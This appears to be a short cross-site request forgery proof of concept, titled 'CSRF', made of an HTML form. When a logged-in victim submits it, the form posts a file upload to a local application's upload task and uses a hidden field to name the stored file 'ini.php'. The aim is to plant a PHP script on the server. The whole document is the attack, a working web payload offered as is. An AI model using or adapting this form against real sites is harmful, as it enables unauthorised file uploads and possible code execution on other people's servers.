CSRF

<html>
    <head>
    <body>
        <form method="post" enctype="multipart/form-data" action="localhost/?task=upload">
            <input type="file" name="file" />

            <input type="hidden" name="name" value="ini.php" />

            <input type="submit" value="submit" />

        </form>
    </body>
</html>